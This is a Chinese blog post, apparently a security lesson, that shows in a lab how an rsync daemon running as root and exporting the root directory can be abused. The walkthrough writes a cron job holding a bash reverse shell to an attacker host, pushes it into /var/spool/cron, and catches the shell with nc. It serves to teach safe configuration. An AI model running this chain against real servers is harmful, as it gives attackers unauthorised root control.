攻击你,与你何干!rsync你还敢这么玩?

2022-08-28 12:17:35 浏览数 (1)

rsync同步服务反弹shell

rsync服务/命令在企业中运用非常广泛,主要是轻量、便捷、高效。在数据同步中,不管是做服务还是命令使用,都非常方便、快速。

但是在日常运维中,往往会发现很多开发或者运维人员,一味的图简单,把一些老生常谈的安全注意事项抛之脑后,最终酿成大祸!

下面说说之前做服务器安全评估遇到的真事。某业务线的运维同事因为需要经常在多台服务器之间同步文件,而且是不同项目文件。为了偷懒,不想多写同步模块,所以他在编辑配置文件时,直接将/目录发布出去了。最后被我们研发中心扫描出来,季度绩效也因此评为C。

有小伙伴可能会疑惑,这会有什么风险呢?下面我在实验环境还原一下他当时的环境,以及可能会遇到的风险。

配置同步服务器(被攻击服务器)

代码语言:shell复制
# 安装rsync:
[root@192-168-75-121 ~]#   yum install rsync -y
# 编辑配置文件:
[root@192-168-75-121 ~]#  cat /etc/rsyncd.conf 
 uid = root
 gid = root
 use chroot = yes
 max connections = 4
 pid file = /var/run/rsyncd.pid
 exclude = lost found/
 transfer logging = yes
 timeout = 900
 ignore nonreadable = yes
 dont compress   = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2
read only = false

[ftp]
        # 这点是重点,要发布的同步目录
        path = /
        comment = ftp export area

# 启动rsyncd服务:
[root@192-168-75-121 ~]# systemctl start rsyncd

这个配置文件有两个危险指令,一个是uid和gid为root,他设置为root是为了同步文件方便,不需要考虑文件权限问题;二是开放根目录,这两个配置直接会导致后面的问题!

配置攻击服务器

rsync服务器默认是监听873端口,通过nmap工具可以很方便扫描到,这里不再演示。

代码语言:shell复制
# 查看同步服务器开放的同步模块,下面可以看到开放了`ftp`模块
[root@www.lutixia.cn ~]# rsync rsync://192.168.75.121
ftp             ftp export area

# 具体看下ftp模块中提供了那些目录文件。下面可以看到整个根都发布出来了!
[root@www.lutixia.cn ~]#  rsync rsync://192.168.75.121/ftp
dr-xr-xr-x            247 2022/08/16 16:45:37 .
lrwxrwxrwx              7 2021/10/13 14:00:20 bin
lrwxrwxrwx              7 2021/10/13 14:00:20 lib
lrwxrwxrwx              9 2021/10/13 14:00:20 lib64
lrwxrwxrwx              8 2021/10/13 14:00:20 sbin
dr-xr-xr-x          4,096 2021/10/13 14:05:43 boot
drwxr-xr-x             17 2022/08/16 16:45:37 data
drwxr-xr-x          3,300 2022/08/15 15:03:13 dev
drwxr-xr-x          8,192 2022/08/16 17:31:47 etc
drwxr-xr-x             18 2022/08/16 15:16:45 home
drwxr-xr-x              6 2018/04/11 12:59:55 media
drwxr-xr-x              6 2018/04/11 12:59:55 mnt
drwxr-xr-x             78 2022/08/15 15:38:54 opt
dr-xr-xr-x              0 2022/08/15 15:03:05 proc
dr-xr-x---            233 2022/08/16 17:19:47 root
drwxr-xr-x            860 2022/08/16 17:31:47 run
drwxr-xr-x              6 2018/04/11 12:59:55 srv
dr-xr-xr-x              0 2022/08/15 15:03:10 sys
drwxrwxrwt          4,096 2022/08/16 17:36:21 tmp
drwxr-xr-x            155 2021/10/13 14:00:20 usr
drwxr-xr-x            267 2021/10/13 14:02:35 var
drwx------             19 2022/08/16 14:28:46 www

配置反弹shell

反弹shell在之前的文章中详细讲到过,这里不再赘述。因为rsync同步服务器直接把根发布出来了,所以比之前通过redis服务攻击更加简单了。只需创建一个**root**的计划任务文件,然后同步过去即可。

代码语言:shell复制
# 创建root计划任务文件
[root@www.lutixia.cn ~]#  cat > root <<EOF                                       
* * * * * bash -i &>/dev/tcp/192.168.75.123/8888 0>&1
> EOF

# 同步到被攻击服务器,放置到计划任务目录:
[root@www.lutixia.cn ~]#  rsync -av root rsync://192.168.75.121/ftp/var/spool/cron/

# 安装nc工具:
[root@www.lutixia.cn ~]# yum  install nmap -y
# 设置监听端口,等待被攻击服务器连接即可:
[root@www.lutixia.cn ~]#  nc -lvnp 8888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 192.168.75.121.
Ncat: Connection from 192.168.75.121:36320.
bash: no job control in this shell
# 可以看到已经顺利拿到被攻击服务器的shell了!
[root@192-168-75-121 ~]# exit

没出事之前,觉得危险离自己很远,出事之后,才会发现危险就在身边。老生常谈的安全问题一定要注意,切不可一味的贪图简单,而放大文件、服务器的权限。

0 人点赞